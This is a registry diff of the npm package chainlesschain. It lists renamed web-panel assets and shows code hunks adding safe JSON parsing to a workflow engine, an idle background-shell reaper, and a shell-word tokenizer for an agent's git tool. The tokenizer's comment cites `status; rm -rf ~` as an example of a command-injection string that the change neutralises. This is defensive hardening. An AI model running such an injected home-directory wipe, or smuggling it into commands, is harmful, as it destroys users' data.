chainlesschain 0.162.123 → 0.162.124

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (196) hide show
  1. package/package.json +1 -1
  2. package/src/assets/web-panel/.build-hash +1 -1
  3. package/src/assets/web-panel/assets/{AIOps-C5CSd8pY.js → AIOps-BsDJlD_l.js} +1 -1
  4. package/src/assets/web-panel/assets/{ActionButton-BugJtiJc.js → ActionButton-COjZZKWG.js} +1 -1
  5. package/src/assets/web-panel/assets/Analytics-4ZDZE7lc.js +3 -0
  6. package/src/assets/web-panel/assets/{AppLayout-Cb0eHetM.js → AppLayout-CYH5k2Rp.js} +5 -5
  7. package/src/assets/web-panel/assets/{Audit-qjq04wh8.js → Audit-BKlFbLdl.js} +1 -1
  8. package/src/assets/web-panel/assets/Backup-CiX61Qc2.js +1 -0
  9. package/src/assets/web-panel/assets/{BaseInput-CZ0c7QHk.js → BaseInput-CDxIQokd.js} +1 -1
  10. package/src/assets/web-panel/assets/{Chat-CaKDT3wV.js → Chat-CaKgdRab.js} +6 -6
  11. package/src/assets/web-panel/assets/ChatBubbleRenderer-DgvpwU5o.js +1 -0
  12. package/src/assets/web-panel/assets/{Checkbox-C6-Iu3bG.js → Checkbox-CjiWfu4s.js} +1 -1
  13. package/src/assets/web-panel/assets/{Codegen-TGLFk6P1.js → Codegen-tKWGzajw.js} +1 -1
  14. package/src/assets/web-panel/assets/{Col-DVBrO7AN.js → Col-ZKWREyNs.js} +1 -1
  15. package/src/assets/web-panel/assets/{Community-tg6-Rik1.js → Community-CmLuPBUU.js} +1 -1
  16. package/src/assets/web-panel/assets/{Compact-DM4ZgFSE.js → Compact-DqknM98n.js} +1 -1
  17. package/src/assets/web-panel/assets/Compliance-PZw0aBLI.js +1 -0
  18. package/src/assets/web-panel/assets/{Cowork-CJwiWkUY.js → Cowork-Dp29kHsC.js} +2 -2
  19. package/src/assets/web-panel/assets/{Cron-dsdXHvrO.js → Cron-zmEJAetz.js} +2 -2
  20. package/src/assets/web-panel/assets/{Crosschain-p7_5Gq-7.js → Crosschain-Sb-uM7Ty.js} +1 -1
  21. package/src/assets/web-panel/assets/{DID-BB_LBLYT.js → DID-D_UFNzJ5.js} +2 -2
  22. package/src/assets/web-panel/assets/{Dashboard-Bh_HkNSD.js → Dashboard-Btag698v.js} +2 -2
  23. package/src/assets/web-panel/assets/{Dropdown-dTFtVnKk.js → Dropdown-CH7l3KCs.js} +1 -1
  24. package/src/assets/web-panel/assets/{EmailListRenderer-yqdttzXV.js → EmailListRenderer-Bud2M3XX.js} +1 -1
  25. package/src/assets/web-panel/assets/{FamilyGuardDashboard-DfX3YpUU.js → FamilyGuardDashboard-Bd2_8uME.js} +1 -1
  26. package/src/assets/web-panel/assets/{Federation-BJApfPV4.js → Federation-1jhstF5P.js} +1 -1
  27. package/src/assets/web-panel/assets/{FormItemContext-DNMwIh7X.js → FormItemContext-CpSH464Y.js} +1 -1
  28. package/src/assets/web-panel/assets/{GenericCardRenderer-C-T8UQf0.js → GenericCardRenderer-CANo8O-y.js} +1 -1
  29. package/src/assets/web-panel/assets/{Git-SURFhkLi.js → Git-hvuZVoD3.js} +2 -2
  30. package/src/assets/web-panel/assets/{Governance-B4u_KsfE.js → Governance-BQrWksKt.js} +1 -1
  31. package/src/assets/web-panel/assets/{Inference-2kr_rKQd.js → Inference-jEBTp12v.js} +1 -1
  32. package/src/assets/web-panel/assets/KnowledgeGraph-tDiV2taf.js +1 -0
  33. package/src/assets/web-panel/assets/Logs-DDkTnedu.js +2 -0
  34. package/src/assets/web-panel/assets/{Marketplace-W9Iz8b2m.js → Marketplace-9Yi32avt.js} +1 -1
  35. package/src/assets/web-panel/assets/{McpTools-D0waMomb.js → McpTools-Qx78XyOT.js} +5 -5
  36. package/src/assets/web-panel/assets/{Memory-Ci768GQ3.js → Memory-CXYDO1oT.js} +2 -2
  37. package/src/assets/web-panel/assets/MobileBridge-MfUfkHA0.js +1 -0
  38. package/src/assets/web-panel/assets/{MobileProjects-RpFuAiNz.js → MobileProjects-DEDbWNIk.js} +1 -1
  39. package/src/assets/web-panel/assets/{Mtc-DJdw8btT.js → Mtc-Dwa_vlR8.js} +2 -2
  40. package/src/assets/web-panel/assets/{MtcAudit-Dc596XgH.js → MtcAudit-DAVkxhJv.js} +2 -2
  41. package/src/assets/web-panel/assets/{Multisig--Qs7eGsH.js → Multisig-C3upmgPN.js} +3 -3
  42. package/src/assets/web-panel/assets/{NLProgramming-D3y71FDX.js → NLProgramming-DO3CZ0_z.js} +1 -1
  43. package/src/assets/web-panel/assets/{Notes-uMxjj66_.js → Notes-B1Oy3FbC.js} +4 -4
  44. package/src/assets/web-panel/assets/{NotificationSettings-C4ikBOsm.js → NotificationSettings-Bs4-Fc6b.js} +1 -1
  45. package/src/assets/web-panel/assets/{OrderTableRenderer-BpmdunAz.js → OrderTableRenderer-CEy1pIeq.js} +1 -1
  46. package/src/assets/web-panel/assets/Organization-D4cJ1UNo.js +4 -0
  47. package/src/assets/web-panel/assets/{Overflow-B-4_IpbB.js → Overflow-fdzvlF7x.js} +1 -1
  48. package/src/assets/web-panel/assets/{P2P-DdOf9BZs.js → P2P-Y13PwXBA.js} +2 -2
  49. package/src/assets/web-panel/assets/{PdhVaultBrowser-DDU2Zc9Q.js → PdhVaultBrowser-Ck1zCLe6.js} +3 -3
  50. package/src/assets/web-panel/assets/Permissions-CvEXP6LC.js +4 -0
  51. package/src/assets/web-panel/assets/{PersonalDataHub-B3WcvKni.js → PersonalDataHub-JeP7IWMW.js} +3 -3
  52. package/src/assets/web-panel/assets/{Pipeline-DASuPDc3.js → Pipeline-BZ7wRzG1.js} +1 -1
  53. package/src/assets/web-panel/assets/{Privacy-DnixwmhJ.js → Privacy-BJ6qj9Hv.js} +1 -1
  54. package/src/assets/web-panel/assets/{ProjectInit-BQjMDkML.js → ProjectInit-DeWd9UcS.js} +2 -2
  55. package/src/assets/web-panel/assets/ProjectSettings-DUpVuU9F.js +2 -0
  56. package/src/assets/web-panel/assets/{Projects-BGWEJIVT.js → Projects-y1WbI337.js} +1 -1
  57. package/src/assets/web-panel/assets/{Providers-Bl0dw6cI.js → Providers-DECW00ek.js} +1 -1
  58. package/src/assets/web-panel/assets/{QuickAsk-BDrk7l3t.js → QuickAsk-Dl-pK9Io.js} +1 -1
  59. package/src/assets/web-panel/assets/{Recommend-BPKof_CA.js → Recommend-Bju04wTd.js} +1 -1
  60. package/src/assets/web-panel/assets/{Reputation-6MNJLklK.js → Reputation-BUPa3nEk.js} +1 -1
  61. package/src/assets/web-panel/assets/{Row-DmGJwpfd.js → Row-WYqqaq_5.js} +1 -1
  62. package/src/assets/web-panel/assets/{RssFeed-9-Fxh3_w.js → RssFeed-iyQT5q9l.js} +3 -3
  63. package/src/assets/web-panel/assets/{Search-CCHjey_D.js → Search-CrfwJF0R.js} +1 -1
  64. package/src/assets/web-panel/assets/{Security-D6CySV7r.js → Security-c4Jxf5Ih.js} +4 -4
  65. package/src/assets/web-panel/assets/{Services-Co8Mk8qE.js → Services-CRuisolj.js} +2 -2
  66. package/src/assets/web-panel/assets/{Skeleton-BdON8M-1.js → Skeleton-CCnzJkb-.js} +1 -1
  67. package/src/assets/web-panel/assets/{Skills-CEJE1Go1.js → Skills-CZURCwZg.js} +1 -1
  68. package/src/assets/web-panel/assets/{Sla-BSxFvFX9.js → Sla-CrMzaEi2.js} +1 -1
  69. package/src/assets/web-panel/assets/SpeechSettings-jTDOM5eY.js +1 -0
  70. package/src/assets/web-panel/assets/{SyncSettings-52NXsfyj.js → SyncSettings-CJWVtd87.js} +2 -2
  71. package/src/assets/web-panel/assets/{Tasks-He7CweW6.js → Tasks-61lrQ_lS.js} +1 -1
  72. package/src/assets/web-panel/assets/Templates-Cg-iF2g1.js +1 -0
  73. package/src/assets/web-panel/assets/{Tenant-Dd5XNbYF.js → Tenant-DrDv1FFc.js} +1 -1
  74. package/src/assets/web-panel/assets/Terminal-CP15hcNS.js +3 -0
  75. package/src/assets/web-panel/assets/{TimelineRenderer-BdfqBQmM.js → TimelineRenderer-Sl5uXrkN.js} +1 -1
  76. package/src/assets/web-panel/assets/{Tokens-CsgNsrdQ.js → Tokens-yRIZTVsR.js} +1 -1
  77. package/src/assets/web-panel/assets/{Trigger-Dt_N_rvo.js → Trigger-BLCQEOF2.js} +1 -1
  78. package/src/assets/web-panel/assets/{Trust-B1lJzsPn.js → Trust-D5xq8z6s.js} +1 -1
  79. package/src/assets/web-panel/assets/{UkeySign-CW8YdFxg.js → UkeySign-Dwp0zXQ6.js} +1 -1
  80. package/src/assets/web-panel/assets/{VideoEditing-CU6o7qvp.js → VideoEditing-CIHA55Sx.js} +1 -1
  81. package/src/assets/web-panel/assets/Wallet-Hjajvnto.js +4 -0
  82. package/src/assets/web-panel/assets/WebAuthn-DqSURUvI.js +5 -0
  83. package/src/assets/web-panel/assets/{WorkflowEditor-BcCA2U8H.js → WorkflowEditor-B5bHRwUG.js} +1 -1
  84. package/src/assets/web-panel/assets/{chat-Cxl5DGsc.js → chat-DsheLKkG.js} +1 -1
  85. package/src/assets/web-panel/assets/{colors-FS_7Xggs.js → colors-CST2UkgL.js} +1 -1
  86. package/src/assets/web-panel/assets/{compact-item-BzXjd3wJ.js → compact-item-yqEoy1L7.js} +1 -1
  87. package/src/assets/web-panel/assets/{createContext-DhF9bi_u.js → createContext-Jwp78HFY.js} +1 -1
  88. package/src/assets/web-panel/assets/devWarning-C8to6gQk.js +1 -0
  89. package/src/assets/web-panel/assets/{hasIn-Y1a0aV9N.js → hasIn-CVS5mFEP.js} +1 -1
  90. package/src/assets/web-panel/assets/{index-DfaSKEVD.js → index-AnW25bEq.js} +1 -1
  91. package/src/assets/web-panel/assets/{index-Dmjxpu0L.js → index-BCHAUdel.js} +1 -1
  92. package/src/assets/web-panel/assets/{index-B48PZ-xM.js → index-BLTUVd0V.js} +1 -1
  93. package/src/assets/web-panel/assets/{index-CRSkKj9M.js → index-BeblNJDH.js} +1 -1
  94. package/src/assets/web-panel/assets/{index-uLoKviUT.js → index-BuI27WSx.js} +1 -1
  95. package/src/assets/web-panel/assets/{index-BTltEtoG.js → index-BzetOasL.js} +1 -1
  96. package/src/assets/web-panel/assets/{index-CETvk0NN.js → index-C0FZScMe.js} +1 -1
  97. package/src/assets/web-panel/assets/{index-DZJMsVI1.js → index-C130LLPq.js} +1 -1
  98. package/src/assets/web-panel/assets/{index-Cgo1J_Kf.js → index-C8rq85gu.js} +1 -1
  99. package/src/assets/web-panel/assets/{index-BBtULjKY.js → index-CDAPnZUs.js} +1 -1
  100. package/src/assets/web-panel/assets/{index-BepInmSi.js → index-CIE2n8k_.js} +1 -1
  101. package/src/assets/web-panel/assets/{index-D3IVAG9l.js → index-CRBbVS43.js} +1 -1
  102. package/src/assets/web-panel/assets/{index-Ci7PSoQn.js → index-CSBPc-sI.js} +1 -1
  103. package/src/assets/web-panel/assets/{index-CxYHV8nb.js → index-CTd3lDxp.js} +1 -1
  104. package/src/assets/web-panel/assets/index-CUWj5L2s.js +1 -0
  105. package/src/assets/web-panel/assets/{index-CzlCP4jP.js → index-ChRL6rgA.js} +1 -1
  106. package/src/assets/web-panel/assets/{index-DVTex5M8.js → index-CjfN2CpJ.js} +1 -1
  107. package/src/assets/web-panel/assets/{index-1iacQgo5.js → index-Cjig5i3a.js} +3 -3
  108. package/src/assets/web-panel/assets/{index-JUukFpxi.js → index-Crk4KWLW.js} +1 -1
  109. package/src/assets/web-panel/assets/{index-BllceSdr.js → index-CrlRa054.js} +1 -1
  110. package/src/assets/web-panel/assets/{index-Cn9lbqaS.js → index-CtyEOGuj.js} +1 -1
  111. package/src/assets/web-panel/assets/{index-Bt_0ygjA.js → index-Cu6Ql64n.js} +1 -1
  112. package/src/assets/web-panel/assets/{index-B_Z0PHC0.js → index-Cx_t5rWw.js} +1 -1
  113. package/src/assets/web-panel/assets/{index-CELVZPNt.js → index-Cy0dNzkp.js} +1 -1
  114. package/src/assets/web-panel/assets/{index-GCd5hs58.js → index-CzsKK0tQ.js} +1 -1
  115. package/src/assets/web-panel/assets/{index-BnvaUocg.js → index-DDAigsel.js} +1 -1
  116. package/src/assets/web-panel/assets/index-DZfnYE6e.js +1 -0
  117. package/src/assets/web-panel/assets/{index-C2S8McM1.js → index-D_1b7uh6.js} +1 -1
  118. package/src/assets/web-panel/assets/{index--fcP34eT.js → index-D_e9gwfn.js} +1 -1
  119. package/src/assets/web-panel/assets/{index-DgHWZVjv.js → index-DbxAlpPC.js} +1 -1
  120. package/src/assets/web-panel/assets/{index-BNmWkPqm.js → index-De600Jjm.js} +1 -1
  121. package/src/assets/web-panel/assets/{index-DxGVbuqr.js → index-Dgyn8-wN.js} +1 -1
  122. package/src/assets/web-panel/assets/{index-BzQkdgQW.js → index-DiK4vSZa.js} +1 -1
  123. package/src/assets/web-panel/assets/{index-CuTKOay7.js → index-DpYn5v2k.js} +1 -1
  124. package/src/assets/web-panel/assets/{index-Sl-sLj3T.js → index-DxaU_lza.js} +1 -1
  125. package/src/assets/web-panel/assets/{index-Na733kBa.js → index-Dxljh9Fu.js} +1 -1
  126. package/src/assets/web-panel/assets/{index-DLyIxnjc.js → index-R-VGFpi6.js} +1 -1
  127. package/src/assets/web-panel/assets/{index-DUcVF8e6.js → index-SjxCCf5h.js} +1 -1
  128. package/src/assets/web-panel/assets/{index-1khPb4ZS.js → index-diWkx2Wq.js} +1 -1
  129. package/src/assets/web-panel/assets/{initDefaultProps-D6QmlnQ-.js → initDefaultProps-ClAjrsQ-.js} +1 -1
  130. package/src/assets/web-panel/assets/{motion-BHrTGY1_.js → motion-BalXv_60.js} +1 -1
  131. package/src/assets/web-panel/assets/{move-Bpph6B_N.js → move-DMelzIW-.js} +1 -1
  132. package/src/assets/web-panel/assets/{omit-Dx0YMbWn.js → omit-oxecfU3b.js} +1 -1
  133. package/src/assets/web-panel/assets/{pickAttrs-D-a8Fm6C.js → pickAttrs-DJ5F5M6x.js} +1 -1
  134. package/src/assets/web-panel/assets/{placementArrow-DXFSVgxv.js → placementArrow-DdbKsant.js} +1 -1
  135. package/src/assets/web-panel/assets/{responsiveObserve-CxhQ1EaK.js → responsiveObserve-BUuM5cmS.js} +1 -1
  136. package/src/assets/web-panel/assets/{slide-IlBI0XU8.js → slide-DSV0ccvR.js} +1 -1
  137. package/src/assets/web-panel/assets/{statusUtils-COoXVzje.js → statusUtils-B-6oLAXf.js} +1 -1
  138. package/src/assets/web-panel/assets/{styleChecker-DCuq89M_.js → styleChecker-DdCAHtsZ.js} +1 -1
  139. package/src/assets/web-panel/assets/{useFlexGapSupport-tfNE1ALO.js → useFlexGapSupport-ZORkcoZd.js} +1 -1
  140. package/src/assets/web-panel/assets/{useFs-DD4bzBkU.js → useFs-BFp46LoP.js} +1 -1
  141. package/src/assets/web-panel/assets/{usePersonalDataHub-DVkH1hbT.js → usePersonalDataHub-H7rxgbdW.js} +1 -1
  142. package/src/assets/web-panel/assets/{vnode-D1ZmXyxM.js → vnode-eIq4Tk0J.js} +1 -1
  143. package/src/assets/web-panel/assets/{zoom-DblBUHfi.js → zoom-CTNrv8-H.js} +1 -1
  144. package/src/assets/web-panel/index.html +1 -1
  145. package/src/commands/ask.js +24 -1
  146. package/src/commands/init.js +5 -4
  147. package/src/commands/instinct.js +18 -5
  148. package/src/commands/mcp.js +30 -3
  149. package/src/commands/memory.js +18 -5
  150. package/src/gateways/http/envelope-http-server.js +17 -2
  151. package/src/gateways/terminal/PtyManager.js +15 -2
  152. package/src/gateways/ws/ws-server.js +20 -0
  153. package/src/gateways/ws/ws-session-gateway.js +16 -0
  154. package/src/harness/mcp-client.js +57 -0
  155. package/src/harness/worktree-isolator.js +20 -9
  156. package/src/lib/agent-core.js +3 -0
  157. package/src/lib/autonomous-agent.js +7 -6
  158. package/src/lib/chat-intent-service.js +4 -2
  159. package/src/lib/checkpoint-store.js +23 -0
  160. package/src/lib/credential-guard.js +7 -0
  161. package/src/lib/git-integration.js +57 -1
  162. package/src/lib/hook-runner.cjs +11 -1
  163. package/src/lib/interactive-planner.js +4 -3
  164. package/src/lib/json-schema-output.js +47 -0
  165. package/src/lib/learning/reflection-engine.js +4 -3
  166. package/src/lib/learning/skill-improver.js +4 -3
  167. package/src/lib/learning/skill-synthesizer.js +4 -3
  168. package/src/lib/mcp-oauth.js +208 -20
  169. package/src/lib/mcp-serve.js +56 -6
  170. package/src/lib/orchestrator.js +4 -2
  171. package/src/lib/process-manager.js +31 -3
  172. package/src/lib/repl-completer.js +29 -0
  173. package/src/lib/slot-filler.js +4 -3
  174. package/src/lib/sub-agent-context.js +6 -0
  175. package/src/lib/web-fetch.js +54 -3
  176. package/src/lib/workflow-engine.js +35 -11
  177. package/src/runtime/agent-core.js +248 -26
  178. package/src/runtime/headless-stream.js +124 -17
  179. package/src/assets/web-panel/assets/Analytics-CzxpcV9E.js +0 -3
  180. package/src/assets/web-panel/assets/Backup-C2Y_XNBA.js +0 -1
  181. package/src/assets/web-panel/assets/ChatBubbleRenderer-TeKnMwPj.js +0 -1
  182. package/src/assets/web-panel/assets/Compliance-DFeWryxt.js +0 -1
  183. package/src/assets/web-panel/assets/KnowledgeGraph-h-nL7J6x.js +0 -1
  184. package/src/assets/web-panel/assets/Logs-DjuWREBJ.js +0 -2
  185. package/src/assets/web-panel/assets/MobileBridge-4jAehfcz.js +0 -3
  186. package/src/assets/web-panel/assets/Organization-BBEmFNGM.js +0 -4
  187. package/src/assets/web-panel/assets/Permissions-B1ebgevF.js +0 -4
  188. package/src/assets/web-panel/assets/ProjectSettings-dHyZ3SxW.js +0 -2
  189. package/src/assets/web-panel/assets/SpeechSettings-C3rShYlV.js +0 -1
  190. package/src/assets/web-panel/assets/Templates-UtjBlJIO.js +0 -1
  191. package/src/assets/web-panel/assets/Terminal-pFyh42cu.js +0 -3
  192. package/src/assets/web-panel/assets/Wallet-DPxjEhbN.js +0 -4
  193. package/src/assets/web-panel/assets/WebAuthn-CuJ29YAF.js +0 -5
  194. package/src/assets/web-panel/assets/devWarning-B1j78JeH.js +0 -1
  195. package/src/assets/web-panel/assets/index-BaN6wKWx.js +0 -1
  196. package/src/assets/web-panel/assets/index-N7JKRLCC.js +0 -1
@@ -37,6 +37,22 @@ export const TEMPLATE_TYPE = Object.freeze({
37
37
  TEST_SUITE: "test_suite",
38
38
  });
39
39
 
40
+ /**
41
+ * Parse a JSON column from a DB row without throwing. A truncated write, a
42
+ * manual edit, or a schema-drift row would otherwise make `JSON.parse` throw and
43
+ * crash the whole operation — and for list/map callers, ONE corrupt row would
44
+ * hide every other workflow. On bad/missing JSON we return `fallback` so a
45
+ * single bad row degrades to an empty/null value instead of poisoning the call.
46
+ */
47
+ export function _safeParse(json, fallback) {
48
+ if (json == null) return fallback;
49
+ try {
50
+ return JSON.parse(json);
51
+ } catch {
52
+ return fallback;
53
+ }
54
+ }
55
+
40
56
  /**
41
57
  * Ensure workflow tables exist in the database.
42
58
  */
@@ -183,7 +199,7 @@ export function getWorkflow(db, workflowId) {
183
199
  .prepare("SELECT * FROM workflows WHERE id = ?")
184
200
  .get(workflowId);
185
201
  if (!row) return null;
186
- return { ...row, dag: JSON.parse(row.dag) };
202
+ return { ...row, dag: _safeParse(row.dag, null) };
187
203
  }
188
204
 
189
205
  /**
@@ -196,7 +212,7 @@ export function listWorkflows(db) {
196
212
  .all();
197
213
  return rows.map((row) => ({
198
214
  ...row,
199
- dag: JSON.parse(row.dag),
215
+ dag: _safeParse(row.dag, null),
200
216
  }));
201
217
  }
202
218
 
@@ -222,6 +238,11 @@ export function executeWorkflow(db, workflowId, input = {}) {
222
238
  if (!workflow) {
223
239
  throw new Error(`Workflow not found: ${workflowId}`);
224
240
  }
241
+ if (!Array.isArray(workflow.dag) || workflow.dag.length === 0) {
242
+ // _safeParse yields null for a corrupt `dag` column — give a clear error
243
+ // instead of an opaque NPE in topologicalSort.
244
+ throw new Error(`Workflow ${workflowId} has a corrupt or empty DAG`);
245
+ }
225
246
 
226
247
  const execId = `exec-${crypto.randomBytes(8).toString("hex")}`;
227
248
  const stages = workflow.dag;
@@ -321,7 +342,7 @@ export function pauseExecution(db, executionId) {
321
342
  executionId,
322
343
  );
323
344
 
324
- const log = JSON.parse(exec.log || "[]");
345
+ const log = _safeParse(exec.log, []);
325
346
  log.push({
326
347
  action: "paused",
327
348
  timestamp: new Date().toISOString(),
@@ -354,7 +375,7 @@ export function resumeExecution(db, executionId) {
354
375
  executionId,
355
376
  );
356
377
 
357
- const log = JSON.parse(exec.log || "[]");
378
+ const log = _safeParse(exec.log, []);
358
379
  log.push({
359
380
  action: "resumed",
360
381
  timestamp: new Date().toISOString(),
@@ -387,7 +408,7 @@ export function rollbackExecution(db, executionId) {
387
408
  executionId,
388
409
  );
389
410
 
390
- const log = JSON.parse(exec.log || "[]");
411
+ const log = _safeParse(exec.log, []);
391
412
  log.push({
392
413
  action: "rolled_back",
393
414
  timestamp: new Date().toISOString(),
@@ -415,7 +436,7 @@ export function getExecutionLog(db, executionId) {
415
436
  id: exec.id,
416
437
  workflowId: exec.workflow_id,
417
438
  status: exec.status,
418
- log: JSON.parse(exec.log || "[]"),
439
+ log: _safeParse(exec.log, []),
419
440
  startedAt: exec.started_at,
420
441
  completedAt: exec.completed_at,
421
442
  };
@@ -688,7 +709,7 @@ export function createCheckpoint(db, executionId) {
688
709
  currentStage: exec.current_stage,
689
710
  capturedAt: new Date().toISOString(),
690
711
  };
691
- const nodeStates = JSON.parse(exec.log || "[]");
712
+ const nodeStates = _safeParse(exec.log, []);
692
713
 
693
714
  db.prepare(
694
715
  `INSERT INTO workflow_checkpoints (id, execution_id, workflow_id, state_snapshot, node_states, created_at)
@@ -722,8 +743,8 @@ export function listCheckpoints(db, executionId) {
722
743
  id: row.id,
723
744
  executionId: row.execution_id,
724
745
  workflowId: row.workflow_id,
725
- snapshot: JSON.parse(row.state_snapshot || "{}"),
726
- nodeStates: JSON.parse(row.node_states || "[]"),
746
+ snapshot: _safeParse(row.state_snapshot, {}),
747
+ nodeStates: _safeParse(row.node_states, []),
727
748
  createdAt: row.created_at,
728
749
  }));
729
750
  }
@@ -750,8 +771,8 @@ export function rollbackToCheckpoint(db, executionId, checkpointId) {
750
771
  throw new Error(`Execution not found: ${executionId}`);
751
772
  }
752
773
 
753
- const snapshot = JSON.parse(cp.state_snapshot || "{}");
754
- const nodeStates = JSON.parse(cp.node_states || "[]");
774
+ const snapshot = _safeParse(cp.state_snapshot, {});
775
+ const nodeStates = _safeParse(cp.node_states, []);
755
776
 
756
777
  const restoredLog = [
757
778
  ...nodeStates,
@@ -792,6 +813,9 @@ export function setBreakpoint(db, workflowId, nodeId, condition = null) {
792
813
  if (!workflow) {
793
814
  throw new Error(`Workflow not found: ${workflowId}`);
794
815
  }
816
+ if (!Array.isArray(workflow.dag)) {
817
+ throw new Error(`Workflow ${workflowId} has a corrupt DAG`);
818
+ }
795
819
  const nodeExists = workflow.dag.some((s) => s.id === nodeId);
796
820
  if (!nodeExists) {
797
821
  throw new Error(`Node ${nodeId} not in workflow ${workflowId}`);
@@ -16,7 +16,7 @@
16
16
 
17
17
  import fs from "fs";
18
18
  import path from "path";
19
- import { execSync, spawn } from "child_process";
19
+ import { execSync, spawn, spawnSync } from "child_process";
20
20
  import os from "os";
21
21
  import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
22
22
  import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
218
218
  return killed;
219
219
  }
220
220
 
221
+ // Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
222
+ // idle background shell commands"). A running task is a reap candidate when it
223
+ // has produced no output for BG_IDLE_REAP_MS AND the system is under memory
224
+ // pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
225
+ // idle-but-active tasks and a healthy machine are left alone, and the whole
226
+ // behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
227
+ const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
228
+ const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
229
+
230
+ /**
231
+ * Reap idle background shell tasks when the system is under memory pressure, so
232
+ * a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
233
+ * No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
234
+ * (now / freemem / totalmem / thresholds) are injectable for tests.
235
+ * @returns {string[]} ids of reaped tasks
236
+ */
237
+ export function reapIdleBackgroundShellTasks(deps = {}) {
238
+ if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
239
+ const now = deps.now || Date.now;
240
+ const freemem = deps.freemem || os.freemem;
241
+ const totalmem = deps.totalmem || os.totalmem;
242
+ const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
243
+ const ratio =
244
+ deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
245
+ const total = totalmem();
246
+ const free = freemem();
247
+ if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
248
+ const t = now();
249
+ const reaped = [];
250
+ for (const task of _backgroundShellTasks.values()) {
251
+ if (task.status !== "running") continue;
252
+ const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
253
+ if (t - last < idleMs) continue; // still producing output recently
254
+ if (_killTask(task)) {
255
+ task.status = "reaped";
256
+ task.endedAt = new Date().toISOString();
257
+ task.error = "reaped: idle under memory pressure";
258
+ reaped.push(task.id);
259
+ }
260
+ }
261
+ return reaped;
262
+ }
263
+
221
264
  // Foreground (synchronous) run_shell timeout. Configurable per-call via the
222
265
  // optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
223
266
  // synchronous call can never wedge the loop indefinitely (use run_in_background
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
668
711
  "edit_file_hashed",
669
712
  ]);
670
713
 
714
+ /**
715
+ * Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
716
+ * tool runs the model-supplied command via argv (spawnSync, NO shell), so a
717
+ * string like `status; rm -rf ~` can't inject a second command through the
718
+ * shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
719
+ * a commit message) keeps its content because quotes are consumed here.
720
+ */
721
+ export function tokenizeShellWords(input) {
722
+ const args = [];
723
+ let current = "";
724
+ let inDouble = false;
725
+ let inSingle = false;
726
+ let escape = false;
727
+ for (const ch of String(input || "")) {
728
+ if (escape) {
729
+ current += ch;
730
+ escape = false;
731
+ continue;
732
+ }
733
+ if (ch === "\\" && inDouble) {
734
+ escape = true;
735
+ continue;
736
+ }
737
+ if (ch === '"' && !inSingle) {
738
+ inDouble = !inDouble;
739
+ continue;
740
+ }
741
+ if (ch === "'" && !inDouble) {
742
+ inSingle = !inSingle;
743
+ continue;
744
+ }
745
+ if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
746
+ if (current.length > 0) {
747
+ args.push(current);
748
+ current = "";
749
+ }
750
+ continue;
751
+ }
752
+ current += ch;
753
+ }
754
+ if (current.length > 0) args.push(current);
755
+ return args;
756
+ }
757
+
671
758
  /**
672
759
  * Compute the content an edit tool WOULD write, without writing it — the
673
760
  * left/right sides for an IDE diff review. Mirrors the corresponding
@@ -1156,6 +1243,7 @@ export async function executeTool(name, args, context = {}) {
1156
1243
  additionalDirectories: context.additionalDirectories || null,
1157
1244
  ruleAllowed,
1158
1245
  subAgentDepth: context.subAgentDepth || 0,
1246
+ subAgentBudget: context.subAgentBudget || null,
1159
1247
  interactiveApproval: context.interactiveApproval || false,
1160
1248
  });
1161
1249
  } catch (err) {
@@ -1527,6 +1615,7 @@ async function executeToolInner(
1527
1615
  additionalDirectories,
1528
1616
  ruleAllowed = false,
1529
1617
  subAgentDepth = 0,
1618
+ subAgentBudget = null,
1530
1619
  interactiveApproval = false,
1531
1620
  },
1532
1621
  ) {
@@ -1795,6 +1884,10 @@ async function executeToolInner(
1795
1884
  // polls output + completion via check_shell. No timeout — that's the whole
1796
1885
  // point of backgrounding (builds, test suites, dev servers).
1797
1886
  if (args.run_in_background === true) {
1887
+ // Free memory from idle background tasks before adding another, so a
1888
+ // long agent run can't accumulate forgotten dev servers (no-op unless
1889
+ // the machine is actually under memory pressure).
1890
+ reapIdleBackgroundShellTasks();
1798
1891
  const id = `bg_${++_backgroundTaskSeq}`;
1799
1892
  const task = {
1800
1893
  id,
@@ -1805,6 +1898,7 @@ async function executeToolInner(
1805
1898
  signal: null,
1806
1899
  error: null,
1807
1900
  startedAt: new Date().toISOString(),
1901
+ lastActivityAt: Date.now(),
1808
1902
  endedAt: null,
1809
1903
  out: _newBgStream(),
1810
1904
  err: _newBgStream(),
@@ -1836,11 +1930,17 @@ async function executeToolInner(
1836
1930
  task.child = child;
1837
1931
  if (child.stdout) {
1838
1932
  child.stdout.setEncoding("utf8");
1839
- child.stdout.on("data", (d) => _appendBgStream(task.out, d));
1933
+ child.stdout.on("data", (d) => {
1934
+ task.lastActivityAt = Date.now();
1935
+ _appendBgStream(task.out, d);
1936
+ });
1840
1937
  }
1841
1938
  if (child.stderr) {
1842
1939
  child.stderr.setEncoding("utf8");
1843
- child.stderr.on("data", (d) => _appendBgStream(task.err, d));
1940
+ child.stderr.on("data", (d) => {
1941
+ task.lastActivityAt = Date.now();
1942
+ _appendBgStream(task.err, d);
1943
+ });
1844
1944
  }
1845
1945
  child.on("error", (err) => {
1846
1946
  task.status = "error";
@@ -1971,27 +2071,44 @@ async function executeToolInner(
1971
2071
  });
1972
2072
  }
1973
